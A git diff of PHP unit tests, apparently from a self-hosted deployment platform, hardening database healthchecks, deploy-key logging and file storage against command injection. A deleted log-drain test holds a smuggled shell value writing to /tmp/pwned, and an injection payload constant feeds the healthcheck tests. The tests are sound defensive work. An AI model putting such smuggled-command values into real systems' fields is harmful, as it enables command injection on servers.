- $job = (new ReflectionClass(DatabaseBackupJob::class))->newInstanceWithoutConstructor();
- $filenamePart = (new ReflectionClass($job))->getMethod('backupFilenamePart');
-
- expect($filenamePart->invoke($job, 'safe_db-1'))->toBe('safe_db-1')
- ->and($filenamePart->invoke($job, '../db name'))->toBe('..-db-name');
-
- $source = file_get_contents(__DIR__.'/../../app/Jobs/DatabaseBackupJob.php');
- expect(substr_count($source, '$this->backupFilenamePart('))->toBe(4);
-});
diff --git a/tests/Unit/DatabaseHealthcheckCommandInjectionTest.php b/tests/Unit/DatabaseHealthcheckCommandInjectionTest.php
index 769228bf4d..683fb39be8 100644
--- a/tests/Unit/DatabaseHealthcheckCommandInjectionTest.php
+++ b/tests/Unit/DatabaseHealthcheckCommandInjectionTest.php
@@ -1,5 +1,24 @@
+ */
+function startedDatabaseHealthcheck(string $startAction, object $database): array
+{
+ $executor = new class
+ {
+ public array $commands = [];
- expect($source)->not->toContain('CMD-SHELL');
- expect($source)->toContain("'CMD', 'psql'");
+ public function execute(array $commands, $database, Activity $activity): Activity
+ {
+ $this->commands = $commands;
+
+ return $activity;
+ }
+ };
+ app()->instance(DatabaseStartCommandExecutor::class, $executor);
+
+ $startAction::run($database->fresh(), new Activity);
+
+ foreach ($executor->commands as $command) {
+ if (preg_match("#^echo '([^']+)' \| base64 -d \| tee \S+/docker-compose\.yml#", $command, $matches)) {
+ return Yaml::parse(base64_decode($matches[1]))['services'][$database->uuid]['healthcheck']['test'];
+ }
+ }
+
+ throw new RuntimeException('No docker-compose.yml was written.');
+}
+
+beforeEach(function () {
+ InstanceSettings::forceCreate(['id' => 0]);
+ config(['app.maintenance.store' => 'array', 'cache.default' => 'array']);
+ Process::fake();
+ Queue::fake();
+ Server::flushIdentityMap();
+
+ $team = Team::factory()->create();
+ $privateKey = PrivateKey::factory()->create(['team_id' => $team->id]);
+ $server = Server::factory()->create(['team_id' => $team->id, 'private_key_id' => $privateKey->id]);
+ $this->destination = StandaloneDocker::query()->where('server_id', $server->id)->firstOrFail();
+ $project = Project::factory()->create(['team_id' => $team->id]);
+ $this->environment = Environment::factory()->create(['project_id' => $project->id]);
});
-// ─── KeyDB ────────────────────────────────────────────────────────────────────
+test('postgresql healthcheck passes the user and database as exec-form arguments', function () {
+ $database = create_standalone_postgresql($this->environment->id, $this->destination, [
+ 'postgres_user' => HEALTHCHECK_INJECTION_PAYLOAD,
+ 'postgres_db' => HEALTHCHECK_INJECTION_PAYLOAD.'db',
+ ]);
-test('keydb healthcheck uses CMD exec-form, not a CMD-SHELL string', function () {
- $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartKeydb.php');
-
- expect($source)->not->toContain('CMD-SHELL');
- expect($source)->toContain("'CMD', 'keydb-cli'");
+ expect(startedDatabaseHealthcheck(StartPostgresql::class, $database))
+ ->toBe(['CMD', 'psql', '-U', HEALTHCHECK_INJECTION_PAYLOAD, '-d', HEALTHCHECK_INJECTION_PAYLOAD.'db', '-c', 'SELECT 1']);
});
-// ─── Dragonfly ────────────────────────────────────────────────────────────────
+test('clickhouse healthcheck passes the user and password as exec-form arguments', function () {
+ $database = create_standalone_clickhouse($this->environment->id, $this->destination, [
+ 'clickhouse_admin_user' => HEALTHCHECK_INJECTION_PAYLOAD,
+ 'clickhouse_admin_password' => HEALTHCHECK_INJECTION_PAYLOAD.'pw',
+ ]);
-test('dragonfly healthcheck uses CMD exec-form, not a CMD-SHELL string', function () {
- $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartDragonfly.php');
-
- expect($source)->not->toContain('CMD-SHELL');
- expect($source)->toContain("'CMD', 'redis-cli'");
+ expect(startedDatabaseHealthcheck(StartClickhouse::class, $database))
+ ->toBe(['CMD', 'clickhouse-client', '--user', HEALTHCHECK_INJECTION_PAYLOAD, '--password', HEALTHCHECK_INJECTION_PAYLOAD.'pw', '--query', 'SELECT 1']);
});
-// ─── ClickHouse ───────────────────────────────────────────────────────────────
+test('mysql healthcheck passes the root password as an exec-form argument', function () {
+ $database = create_standalone_mysql($this->environment->id, $this->destination, [
+ 'mysql_root_password' => HEALTHCHECK_INJECTION_PAYLOAD,
+ ]);
-test('clickhouse healthcheck uses CMD exec-form, not a CMD-SHELL string', function () {
- $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartClickhouse.php');
-
- expect($source)->not->toContain('CMD-SHELL');
- expect($source)->toContain("'CMD', 'clickhouse-client'");
+ expect(startedDatabaseHealthcheck(StartMysql::class, $database))
+ ->toBe(['CMD', 'mysqladmin', 'ping', '-h', 'localhost', '-u', 'root', '-p'.HEALTHCHECK_INJECTION_PAYLOAD]);
});
-// ─── Verify unaffected databases still use their safe patterns ────────────────
+test('mariadb healthcheck uses the fixed healthcheck script without user fields', function () {
+ $database = create_standalone_mariadb($this->environment->id, $this->destination, [
+ 'mariadb_user' => HEALTHCHECK_INJECTION_PAYLOAD,
+ 'mariadb_password' => HEALTHCHECK_INJECTION_PAYLOAD.'pw',
+ 'mariadb_root_password' => HEALTHCHECK_INJECTION_PAYLOAD.'root',
+ ]);
-test('mysql healthcheck already uses CMD exec-form (no regression)', function () {
- $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartMysql.php');
-
- // MySQL already used CMD array form — ensure it stays that way
- expect($source)->toContain("'CMD', 'mysqladmin'");
-});
-
-test('mariadb healthcheck uses safe fixed script (no regression)', function () {
- $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartMariadb.php');
-
- expect($source)->toContain('healthcheck.sh');
- // Must not have gained any user-field interpolation
- expect($source)->not->toMatch('/CMD-SHELL.*mariadb/i');
+ expect(startedDatabaseHealthcheck(StartMariadb::class, $database))
+ ->toBe(['CMD', 'healthcheck.sh', '--connect', '--innodb_initialized']);
});
diff --git a/tests/Unit/DatabaseStartActionResolvedCredentialsTest.php b/tests/Unit/DatabaseStartActionResolvedCredentialsTest.php
deleted file mode 100644
index 22b7ec2adb..0000000000
--- a/tests/Unit/DatabaseStartActionResolvedCredentialsTest.php
+++ /dev/null
@@ -1,84 +0,0 @@
-toContain(...$expected)
- ->not->toContain(...$unexpected);
-})->with([
- 'clickhouse' => [
- 'StartClickhouse',
- ['$this->resolvedClickhouseUser', '$this->resolvedClickhousePassword'],
- ['$this->database->clickhouse_admin_user, \'--password\'', '$this->database->clickhouse_admin_password, \'--query\''],
- ],
- 'dragonfly' => [
- 'StartDragonfly',
- ['$this->resolvedRedisPassword'],
- ['$this->database->dragonfly_password, \'ping\'', 'requirepass {$this->database->dragonfly_password}'],
- ],
- 'keydb' => [
- 'StartKeydb',
- ['$this->resolvedRedisPassword'],
- ['$this->database->keydb_password, \'ping\'', 'requirepass {$this->database->keydb_password}'],
- ],
- 'mongodb' => [
- 'StartMongodb',
- ['$this->resolvedMongoDatabase', '$this->resolvedMongoUsername', '$this->resolvedMongoPassword'],
- ['json_encode($this->database->mongo_initdb_database', 'json_encode($this->database->mongo_initdb_root_username', 'json_encode($this->database->mongo_initdb_root_password'],
- ],
- 'mysql' => [
- 'StartMysql',
- ['$this->resolvedMysqlRootPassword'],
- ['-p{$this->database->mysql_root_password}'],
- ],
- 'postgresql' => [
- 'StartPostgresql',
- ['$this->resolvedPostgresUser', '$this->resolvedPostgresDatabase'],
- ['$this->database->postgres_user, \'-d\'', '$this->database->postgres_db, \'-c\''],
- ],
-]);
-
-it('runs database start commands without persisting them through remote process', function (string $action) {
- $source = file_get_contents(__DIR__."/../../app/Actions/Database/{$action}.php");
-
- expect($source)
- ->toContain('ExecutesDatabaseStartCommands')
- ->toContain('executeDatabaseStartCommands(')
- ->not->toContain('return remote_process(');
-})->with([
- 'StartClickhouse',
- 'StartDragonfly',
- 'StartKeydb',
- 'StartMariadb',
- 'StartMongodb',
- 'StartMysql',
- 'StartPostgresql',
- 'StartRedis',
- 'StartSqlite',
-]);
-
-it('queues database starts with identifiers instead of generated commands', function () {
- $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartDatabase.php');
-
- expect($source)
- ->toContain('DatabaseStartJob::dispatch(')
- ->not->toContain('StartPostgresql::run(')
- ->not->toContain('StartRedis::run(');
-});
-
-it('keeps raw secret values separate from compose environment formatting', function (string $action, array $rawAssignments) {
- $source = file_get_contents(__DIR__."/../../app/Actions/Database/{$action}.php");
-
- expect($source)
- ->toContain('$rawValue = (string) $this->database->resolveSecretManagerEnvironmentVariableValue($env);')
- ->toContain('$resolvedValue = (string) $this->database->formatEnvironmentVariableValue($env, $rawValue);')
- ->toContain('$environment_variables->push($env->key.\'=\'.$resolvedValue);')
- ->toContain(...$rawAssignments);
-})->with([
- 'clickhouse' => ['StartClickhouse', ['$this->resolvedClickhouseUser = $composeFileValue;', '$this->resolvedClickhousePassword = $composeFileValue;']],
- 'dragonfly' => ['StartDragonfly', ['$this->resolvedRedisPassword = $this->database->formatComposeFileValue($env, $rawValue);', '$this->requirePassArgument()']],
- 'keydb' => ['StartKeydb', ['$this->resolvedRedisPassword = $this->database->formatComposeFileValue($env, $rawValue);', '$this->requirePassArgument()']],
- 'mongodb' => ['StartMongodb', ['$this->resolvedMongoUsername = $rawValue;', '$this->resolvedMongoPassword = $rawValue;', '$this->resolvedMongoDatabase = $rawValue;', 'json_encode($this->resolvedMongoPassword']],
- 'mysql' => ['StartMysql', ['$this->resolvedMysqlRootPassword = $composeFileValue;']],
- 'postgresql' => ['StartPostgresql', ['$this->resolvedPostgresUser = $composeFileValue;', '$this->resolvedPostgresDatabase = $composeFileValue;']],
-]);
diff --git a/tests/Unit/DeployKeyDedicatedPathTest.php b/tests/Unit/DeployKeyDedicatedPathTest.php
index e307c41d09..893cd52bd5 100644
--- a/tests/Unit/DeployKeyDedicatedPathTest.php
+++ b/tests/Unit/DeployKeyDedicatedPathTest.php
@@ -1,5 +1,6 @@
false]);
+ InstanceSettings::forceCreate(['id' => 0]);
+ $serverKey = PrivateKey::factory()->create();
+ $server = Server::factory()->create([
+ 'team_id' => $serverKey->team_id,
+ 'private_key_id' => $serverKey->id,
+ ]);
+ $deployKey = 'deploy-key-material-that-must-stay-secret';
+ $application = new class extends Application
+ {
+ public function generateGitImportCommands(string $deployment_uuid, int $pull_request_id = 0, ?string $git_type = null, bool $exec_in_docker = true, bool $only_checkout = false, ?string $custom_base_dir = null, ?string $commit = null)
+ {
+ return ['commands' => collect(), 'branch' => 'main', 'fullRepoUrl' => 'git@gitlab.com:user/repo.git'];
+ }
+ };
+ $stored = Application::factory()->create(['git_branch' => 'main']);
+ $application->setRawAttributes($stored->getAttributes(), true);
+ $application->exists = true;
+ $application->setRelation('settings', $stored->settings);
+ $application->setRelation('private_key', (new PrivateKey)->forceFill(['private_key' => $deployKey]));
+ $deployment = ApplicationDeploymentQueue::query()->create([
+ 'application_id' => $application->id,
+ 'deployment_uuid' => 'test-deployment-uuid',
+ ]);
+ Process::fake(['*' => Process::result(output: 'done')]);
+ $job = new class extends ApplicationDeploymentJob
+ {
+ public function __construct() {}
+ };
+ foreach ([
+ 'application' => $application,
+ 'application_deployment_queue' => $deployment,
+ 'server' => $server,
+ 'deployment_uuid' => 'test-deployment-uuid',
+ 'pull_request_id' => 0,
+ 'commit' => 'HEAD',
+ 'rollback' => false,
+ 'git_type' => 'other',
+ 'customPort' => 22,
+ 'saved_outputs' => collect(),
+ ] as $property => $value) {
+ (new ReflectionProperty(ApplicationDeploymentJob::class, $property))->setValue($job, $value);
+ }
- expect($commandPosition)->not->toBeFalse()
- ->and(substr($source, $commandPosition, 200))->toContain("'skip_command_log' => true");
+ (new ReflectionMethod(ApplicationDeploymentJob::class, 'check_git_if_build_needed'))->invoke($job);
+
+ $encodedKey = base64_encode($deployKey);
+ $storedLogs = $deployment->refresh()->getRawOriginal('logs');
+ Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), $encodedKey) && str_contains(remoteProcessScript($process), "base64 -d | tee {$keyPath}"));
+ expect($storedLogs)
+ ->toContain('git ls-remote') // hidden commands with output are logged, so the key is absent only because its command is skipped
+ ->not->toContain($encodedKey)
+ ->not->toContain($deployKey);
});
it('supports skipping command log entries without adding a hidden command entry', function () {
diff --git a/tests/Unit/DeploymentExceptionTest.php b/tests/Unit/DeploymentExceptionTest.php
index 76168fe0c2..192e35faf0 100644
--- a/tests/Unit/DeploymentExceptionTest.php
+++ b/tests/Unit/DeploymentExceptionTest.php
@@ -3,32 +3,6 @@
use App\Exceptions\DeploymentException;
use App\Exceptions\Handler;
-test('DeploymentException is in the dontReport array', function () {
- $handler = new Handler(app());
-
- // Use reflection to access the protected $dontReport property
- $reflection = new ReflectionClass($handler);
- $property = $reflection->getProperty('dontReport');
- $property->setAccessible(true);
- $dontReport = $property->getValue($handler);
-
- expect($dontReport)->toContain(DeploymentException::class);
-});
-
-test('DeploymentException can be created with a message', function () {
- $exception = new DeploymentException('Test deployment error');
-
- expect($exception->getMessage())->toBe('Test deployment error');
- expect($exception)->toBeInstanceOf(Exception::class);
-});
-
-test('DeploymentException can be created with a message and code', function () {
- $exception = new DeploymentException('Test error', 69420);
-
- expect($exception->getMessage())->toBe('Test error');
- expect($exception->getCode())->toBe(69420);
-});
-
test('DeploymentException can be created from another exception', function () {
$originalException = new RuntimeException('Original error', 500);
$deploymentException = DeploymentException::fromException($originalException);
diff --git a/tests/Unit/DockerComposeInjectionCompatibilityTest.php b/tests/Unit/DockerComposeInjectionCompatibilityTest.php
index 609fdf2fcf..daf897b765 100644
--- a/tests/Unit/DockerComposeInjectionCompatibilityTest.php
+++ b/tests/Unit/DockerComposeInjectionCompatibilityTest.php
@@ -12,9 +12,7 @@ function composeTemplateFiles(): array
}
test('every service template passes the Compose injection validator', function (string $file) {
- validateDockerComposeForInjection(file_get_contents($file));
-
- expect(true)->toBeTrue();
+ expect(fn () => validateDockerComposeForInjection(file_get_contents($file)))->not->toThrow(Exception::class);
})->with(composeTemplateFiles());
test('the service template corpus is not empty', function () {
@@ -22,9 +20,7 @@ test('the service template corpus is not empty', function () {
});
test('realistic application Compose files pass the injection validator', function (string $compose) {
- validateDockerComposeForInjection($compose);
-
- expect(true)->toBeTrue();
+ expect(fn () => validateDockerComposeForInjection($compose))->not->toThrow(Exception::class);
})->with([
'long syntax volumes, bind mounts and named volumes' => <<<'YAML'
services:
diff --git a/tests/Unit/DockerRemoveWithTimeoutTest.php b/tests/Unit/DockerRemoveWithTimeoutTest.php
index 1f09ae06cb..858e77c93c 100644
--- a/tests/Unit/DockerRemoveWithTimeoutTest.php
+++ b/tests/Unit/DockerRemoveWithTimeoutTest.php
@@ -159,23 +159,6 @@ it('makes network removal idempotent without hiding other failures', function ()
rmdir($directory);
});
-it('uses idempotent commands in strict cleanup paths', function () {
- $root = dirname(__DIR__, 2);
-
- expect(file_get_contents($root.'/app/Jobs/DatabaseBackupJob.php'))
- ->toContain('dockerRemoveCommand("backup-of-{$this->backup_log_uuid}")')
- ->and(file_get_contents($root.'/app/Actions/Database/StopDatabaseProxy.php'))
- ->toContain('dockerRemoveCommand("{$uuid}-proxy")')
- ->and(file_get_contents($root.'/app/Actions/Destination/RemoveStandaloneDockerNetwork.php'))
- ->toContain('dockerNetworkRemoveCommand($destination->network)')
- ->and(file_get_contents($root.'/app/Livewire/Destination/Show.php'))
- ->toContain('dockerNetworkRemoveCommand($this->destination->network)')
- ->and(file_get_contents($root.'/app/Listeners/ProxyStatusChangedNotification.php'))
- ->toContain("dockerRemoveCommand('coolify-proxy')")
- ->and(file_get_contents($root.'/app/Actions/Application/StopApplicationOneServer.php'))
- ->toContain('dockerRemoveCommand($containerName)');
-});
-
it('configures deferred removal attempts to outlive the shell timeout', function () {
$job = new RemoveContainerJob(123, 'container-name');
@@ -184,13 +167,3 @@ it('configures deferred removal attempts to outlive the shell timeout', function
->and($job->timeout)->toBeGreaterThan(60)
->and($job->tries)->toBeGreaterThan(1);
});
-
-it('continues deployments and schedules deferred cleanup after a removal timeout', function () {
- $source = file_get_contents(dirname(__DIR__, 2).'/app/Jobs/ApplicationDeploymentJob.php');
-
- expect($source)
- ->toContain('dockerRemoveCommandWithTimeout($containerName)')
- ->toContain('timed out after 60 seconds. The deployment will continue')
- ->toContain('RemoveContainerJob::dispatch($this->server->id, $containerName)')
- ->toContain('->delay(now()->addMinutes(5))');
-});
diff --git a/tests/Unit/DockerfileArgInsertionTest.php b/tests/Unit/DockerfileArgInsertionTest.php
index b6a014f7d2..6786a2791c 100644
--- a/tests/Unit/DockerfileArgInsertionTest.php
+++ b/tests/Unit/DockerfileArgInsertionTest.php
@@ -3,7 +3,7 @@
use App\Jobs\ApplicationDeploymentJob;
/**
- * Test the Dockerfile ARG insertion logic
+ * Test how the deployment job finds the FROM instructions where it inserts ARGs
* This tests the fix for GitHub issue #7118
*/
it('finds FROM instructions in simple dockerfile', function () {
@@ -128,78 +128,6 @@ it('uses the escape parser directive for continuation lines', function () {
expect($job->findFromInstructionLines($dockerfile))->toBe([1, 4]);
});
-it('inserts ARGs after FROM in simple dockerfile', function () {
- $dockerfile = collect([
- 'FROM node:16',
- 'WORKDIR /app',
- 'COPY . .',
- ]);
-
- $fromLines = [0];
- $argsToInsert = collect(['ARG MY_VAR=value', 'ARG ANOTHER_VAR']);
-
- foreach (array_reverse($fromLines) as $fromLineIndex) {
- foreach ($argsToInsert->reverse() as $arg) {
- $dockerfile->splice($fromLineIndex + 1, 0, [$arg]);
- }
- }
-
- expect($dockerfile[0])->toBe('FROM node:16');
- expect($dockerfile[1])->toBe('ARG MY_VAR=value');
- expect($dockerfile[2])->toBe('ARG ANOTHER_VAR');
- expect($dockerfile[3])->toBe('WORKDIR /app');
-});
-
-it('inserts ARGs after each FROM in multi-stage dockerfile', function () {
- $dockerfile = collect([
- 'FROM node:16 AS builder',
- 'WORKDIR /app',
- '',
- 'FROM nginx:alpine',
- 'COPY --from=builder /app/dist /usr/share/nginx/html',
- ]);
-
- $fromLines = [0, 3];
- $argsToInsert = collect(['ARG MY_VAR=value']);
-
- foreach (array_reverse($fromLines) as $fromLineIndex) {
- foreach ($argsToInsert->reverse() as $arg) {
- $dockerfile->splice($fromLineIndex + 1, 0, [$arg]);
- }
- }
-
- // First stage
- expect($dockerfile[0])->toBe('FROM node:16 AS builder');
- expect($dockerfile[1])->toBe('ARG MY_VAR=value');
- expect($dockerfile[2])->toBe('WORKDIR /app');
-
- // Second stage (index shifted by +1 due to inserted ARG)
- expect($dockerfile[4])->toBe('FROM nginx:alpine');
- expect($dockerfile[5])->toBe('ARG MY_VAR=value');
-});
-
-it('inserts ARGs after FROM when comments precede FROM', function () {
- $dockerfile = collect([
- '# Build stage comment',
- 'FROM node:16',
- 'WORKDIR /app',
- ]);
-
- $fromLines = [1];
- $argsToInsert = collect(['ARG MY_VAR=value']);
-
- foreach (array_reverse($fromLines) as $fromLineIndex) {
- foreach ($argsToInsert->reverse() as $arg) {
- $dockerfile->splice($fromLineIndex + 1, 0, [$arg]);
- }
- }
-
- expect($dockerfile[0])->toBe('# Build stage comment');
- expect($dockerfile[1])->toBe('FROM node:16');
- expect($dockerfile[2])->toBe('ARG MY_VAR=value');
- expect($dockerfile[3])->toBe('WORKDIR /app');
-});
-
it('handles real-world nuxt multi-stage dockerfile with comments', function () {
$job = Mockery::mock(ApplicationDeploymentJob::class)->makePartial();
@@ -240,27 +168,5 @@ it('handles real-world nuxt multi-stage dockerfile with comments', function () {
'CMD ["node", "/app/server/index.mjs"]',
]);
- // Find FROM instructions
- $fromLines = $job->findFromInstructionLines($dockerfile);
-
- expect($fromLines)->toBe([2, 21]);
-
- // Simulate ARG insertion
- $argsToInsert = collect(['ARG BUILD_VAR=production']);
-
- foreach (array_reverse($fromLines) as $fromLineIndex) {
- foreach ($argsToInsert->reverse() as $arg) {
- $dockerfile->splice($fromLineIndex + 1, 0, [$arg]);
- }
- }
-
- // Verify first stage
- expect($dockerfile[2])->toBe('FROM node:22-alpine AS build');
- expect($dockerfile[3])->toBe('ARG BUILD_VAR=production');
- expect($dockerfile[4])->toBe('WORKDIR /app');
-
- // Verify second stage (index shifted by +1 due to first ARG insertion)
- expect($dockerfile[22])->toBe('FROM node:22-alpine');
- expect($dockerfile[23])->toBe('ARG BUILD_VAR=production');
- expect($dockerfile[24])->toBe('WORKDIR /app');
+ expect($job->findFromInstructionLines($dockerfile))->toBe([2, 21]);
});
diff --git a/tests/Unit/EnvironmentVariableFillableTest.php b/tests/Unit/EnvironmentVariableFillableTest.php
deleted file mode 100644
index 8c5f68b210..0000000000
--- a/tests/Unit/EnvironmentVariableFillableTest.php
+++ /dev/null
@@ -1,72 +0,0 @@
-getFillable();
-
- // Core identification
- expect($fillable)->toContain('key')
- ->toContain('value')
- ->toContain('comment');
-
- // Polymorphic relationship
- expect($fillable)->toContain('resourceable_type')
- ->toContain('resourceable_id');
-
- // Boolean flags — all used in create/firstOrCreate/updateOrCreate calls
- expect($fillable)->toContain('is_preview')
- ->toContain('is_multiline')
- ->toContain('is_literal')
- ->toContain('is_runtime')
- ->toContain('is_buildtime')
- ->toContain('is_shown_once')
- ->toContain('is_shared')
- ->toContain('is_required');
-
- // Metadata
- expect($fillable)->toContain('version')
- ->toContain('order');
-});
-
-test('is_required can be mass assigned', function () {
- $model = new EnvironmentVariable;
- $model->fill(['is_required' => true]);
-
- expect($model->is_required)->toBeTrue();
-});
-
-test('all boolean flags can be mass assigned', function () {
- $booleanFlags = [
- 'is_preview',
- 'is_multiline',
- 'is_literal',
- 'is_runtime',
- 'is_buildtime',
- 'is_shown_once',
- 'is_required',
- ];
-
- $model = new EnvironmentVariable;
- $model->fill(array_fill_keys($booleanFlags, true));
-
- foreach ($booleanFlags as $flag) {
- expect($model->$flag)->toBeTrue("Expected {$flag} to be mass assignable and set to true");
- }
-
- // is_shared has a computed getter derived from the value field,
- // so verify it's fillable via the underlying attributes instead
- $model2 = new EnvironmentVariable;
- $model2->fill(['is_shared' => true]);
- expect($model2->getAttributes())->toHaveKey('is_shared');
-});
-
-test('non-fillable fields are rejected by mass assignment', function () {
- $model = new EnvironmentVariable;
- $model->fill(['id' => 999, 'uuid' => 'injected', 'created_at' => 'injected']);
-
- expect($model->id)->toBeNull()
- ->and($model->uuid)->toBeNull()
- ->and($model->created_at)->toBeNull();
-});
diff --git a/tests/Unit/FileStorageSecurityTest.php b/tests/Unit/FileStorageSecurityTest.php
index 181d9d95d5..04a2747750 100644
--- a/tests/Unit/FileStorageSecurityTest.php
+++ b/tests/Unit/FileStorageSecurityTest.php
@@ -182,24 +182,6 @@ test('confined path resolver rejects paths that escape the resource configuratio
'service dot segment' => ['/data/coolify/services/service-uuid', '/./config.yaml'],
]);
-test('local file volume write sink keeps saved managed file paths for compatibility', function () {
- $source = file_get_contents(__DIR__.'/../../app/Models/LocalFileVolume.php');
-
- expect($source)->toContain('confinePathToBase($workdir, $path->value(), \'storage path\')')
- ->and($source)->toContain('assertRemotePathIsConfined')
- ->and($source)->toContain('tee {$escapedPath}');
-});
-
-test('file storage quotes owner and mode as single command arguments', function () {
- $source = file_get_contents(__DIR__.'/../../app/Models/LocalFileVolume.php');
-
- expect($source)
- ->toContain("'chown -- '.escapeshellarg(\$chown).\" {\$escapedPath}\"")
- ->toContain("'chmod -- '.escapeshellarg(\$chmod).\" {\$escapedPath}\"")
- ->not->toContain('"chown $chown {$escapedPath}"')
- ->not->toContain('"chmod $chmod {$escapedPath}"');
-});
-
test('file storage permissions cannot be set by mass assignment', function () {
$volume = new LocalFileVolume;
$volume->fill(['chown' => 'root', 'chmod' => '777']);
diff --git a/tests/Unit/GitlabSourceCommandsTest.php b/tests/Unit/GitlabSourceCommandsTest.php
index ca95f50561..a6e76ec539 100644
--- a/tests/Unit/GitlabSourceCommandsTest.php
+++ b/tests/Unit/GitlabSourceCommandsTest.php
@@ -117,33 +117,6 @@ it('generates ls-remote commands for GitLab source without private key', functio
expectGitlabCommandListNotToContain($result['commands'], 'id_rsa');
});
-it('does not return null for GitLab source type', function () {
- $deploymentUuid = 'test-deployment-uuid';
-
- $gitlabSource = Mockery::mock(GitlabApp::class)->makePartial();
- $gitlabSource->shouldReceive('getMorphClass')->andReturn(GitlabApp::class);
- $gitlabSource->shouldReceive('getAttribute')->with('html_url')->andReturn('https://gitlab.com');
- $gitlabSource->shouldReceive('getAttribute')->with('privateKey')->andReturn(null);
- $gitlabSource->shouldReceive('getAttribute')->with('private_key_id')->andReturn(null);
- $gitlabSource->shouldReceive('getAttribute')->with('access_token')->andReturn(null);
- $gitlabSource->shouldReceive('getAttribute')->with('refresh_token')->andReturn(null);
- $gitlabSource->shouldReceive('isConnected')->andReturn(false);
-
- $application = Mockery::mock(Application::class)->makePartial();
- $application->git_branch = 'main';
- $application->shouldReceive('deploymentType')->andReturn('source');
- $application->shouldReceive('customRepository')->andReturn([
- 'repository' => 'https://gitlab.com/user/repo.git',
- 'port' => 22,
- ]);
- $application->shouldReceive('getAttribute')->with('source')->andReturn($gitlabSource);
- $application->source = $gitlabSource;
-
- $lsRemoteResult = $application->generateGitLsRemoteCommands($deploymentUuid, false);
- expect($lsRemoteResult)->not->toBeNull();
- expect($lsRemoteResult)->toHaveKeys(['commands', 'branch', 'fullRepoUrl']);
-});
-
it('preserves custom GitLab http port for connected OAuth sources', function () {
$deploymentUuid = 'test-deployment-uuid';
@@ -185,6 +158,7 @@ it('applies OAuth git config to GitLab merge-request fetch and submodule checkou
$settings = (object) [
'is_git_shallow_clone_enabled' => false,
'is_git_submodules_enabled' => true,
+ 'is_git_lfs_enabled' => false,
];
$application = Mockery::mock(Application::class)->makePartial();
@@ -233,6 +207,7 @@ it('uses a GitLab source private key only when it belongs to the source team', f
$application->shouldReceive('getAttribute')->with('settings')->andReturn((object) [
'is_git_shallow_clone_enabled' => false,
'is_git_submodules_enabled' => false,
+ 'is_git_lfs_enabled' => false,
]);
$application->source = $gitlabSource;
diff --git a/tests/Unit/GlobalSearchNewImageQuickActionTest.php b/tests/Unit/GlobalSearchNewImageQuickActionTest.php
deleted file mode 100644
index 77c205b903..0000000000
--- a/tests/Unit/GlobalSearchNewImageQuickActionTest.php
+++ /dev/null
@@ -1,12 +0,0 @@
-not->toContain('$item[\'logo_html\']')
- ->not->toContain('x-html="item.logo_html"');
-
- expect($globalSearchFile)->not->toContain("'logo_html' =>");
-});
diff --git a/tests/Unit/HealthCheckCommandInjectionTest.php b/tests/Unit/HealthCheckCommandInjectionTest.php
index a6e9e1b41f..3683e14643 100644
--- a/tests/Unit/HealthCheckCommandInjectionTest.php
+++ b/tests/Unit/HealthCheckCommandInjectionTest.php
@@ -309,32 +309,6 @@ it('uses sanitized method in full_healthcheck_url display', function () {
->and($result)->not->toContain('evil');
});
-it('validates healthCheckCommand rejects strings over 1000 characters', function () {
- $rules = [
- 'healthCheckCommand' => 'nullable|string|max:1000',
- ];
-
- $validator = Validator::make(
- ['healthCheckCommand' => str_repeat('a', 1001)],
- $rules
- );
-
- expect($validator->fails())->toBeTrue();
-});
-
-it('validates healthCheckCommand accepts strings under 1000 characters', function () {
- $rules = [
- 'healthCheckCommand' => 'nullable|string|max:1000',
- ];
-
- $validator = Validator::make(
- ['healthCheckCommand' => 'pg_isready -U postgres'],
- $rules
- );
-
- expect($validator->fails())->toBeFalse();
-});
-
/**
* Helper: Invokes the private generate_healthcheck_commands() method via reflection.
*/
diff --git a/tests/Unit/HostingerIconTest.php b/tests/Unit/HostingerIconTest.php
deleted file mode 100644
index bbb84c6fb9..0000000000
--- a/tests/Unit/HostingerIconTest.php
+++ /dev/null
@@ -1,10 +0,0 @@
-toContain('viewBox="0 0 26 30"')
- ->toContain('M0.000249566 14.046V0.000497794')
- ->toContain('Hostinger');
-});
diff --git a/tests/Unit/LivewireInternalRedirectTest.php b/tests/Unit/LivewireInternalRedirectTest.php
deleted file mode 100644
index ef9b98f58c..0000000000
--- a/tests/Unit/LivewireInternalRedirectTest.php
+++ /dev/null
@@ -1,36 +0,0 @@
-toContain($redirect);
- }
-})->with([
- 'S3 storage' => [
- 'app/Livewire/Storage/Show.php',
- ["redirectRoute(\$this, 'storage.index')"],
- ],
- 'database backup schedule' => [
- 'app/Livewire/Project/Database/BackupEdit.php',
- [
- "redirectRoute(\$this, 'project.service.database.backups'",
- "redirectRoute(\$this, 'project.database.backup.index'",
- ],
- ],
- 'GitHub source' => [
- 'app/Livewire/Source/Github/Change.php',
- ["redirectRoute(\$this, 'source.all')"],
- ],
- 'GitLab source' => [
- 'app/Livewire/Source/Gitlab/Change.php',
- ["redirectRoute(\$this, 'source.all')"],
- ],
- 'service resources' => [
- 'app/Livewire/Project/Service/Index.php',
- [
- "return redirectRoute(\$this, 'project.service.configuration', \$this->parameters);",
- "return redirectRoute(\$this, 'project.service.configuration', \$redirectParams);",
- ],
- ],
-]);
diff --git a/tests/Unit/LogDrainCommandInjectionTest.php b/tests/Unit/LogDrainCommandInjectionTest.php
deleted file mode 100644
index c7218bbd86..0000000000
--- a/tests/Unit/LogDrainCommandInjectionTest.php
+++ /dev/null
@@ -1,108 +0,0 @@
-/tmp/pwned)';
-
- $server = mock(Server::class)->makePartial();
- $settings = mock(ServerSetting::class)->makePartial();
-
- $settings->is_logdrain_axiom_enabled = true;
- $settings->is_logdrain_newrelic_enabled = false;
- $settings->is_logdrain_custom_enabled = false;
- $settings->logdrain_axiom_dataset_name = 'test-dataset';
- $settings->logdrain_axiom_api_key = $maliciousPayload;
-
- $server->name = 'test-server';
- $server->shouldReceive('getAttribute')->with('settings')->andReturn($settings);
-
- // Build the env content the same way StartLogDrain does after the fix
- $envContent = "AXIOM_DATASET_NAME={$settings->logdrain_axiom_dataset_name}\nAXIOM_API_KEY={$settings->logdrain_axiom_api_key}\n";
- $envEncoded = base64_encode($envContent);
-
- // The malicious payload must NOT appear directly in the encoded string
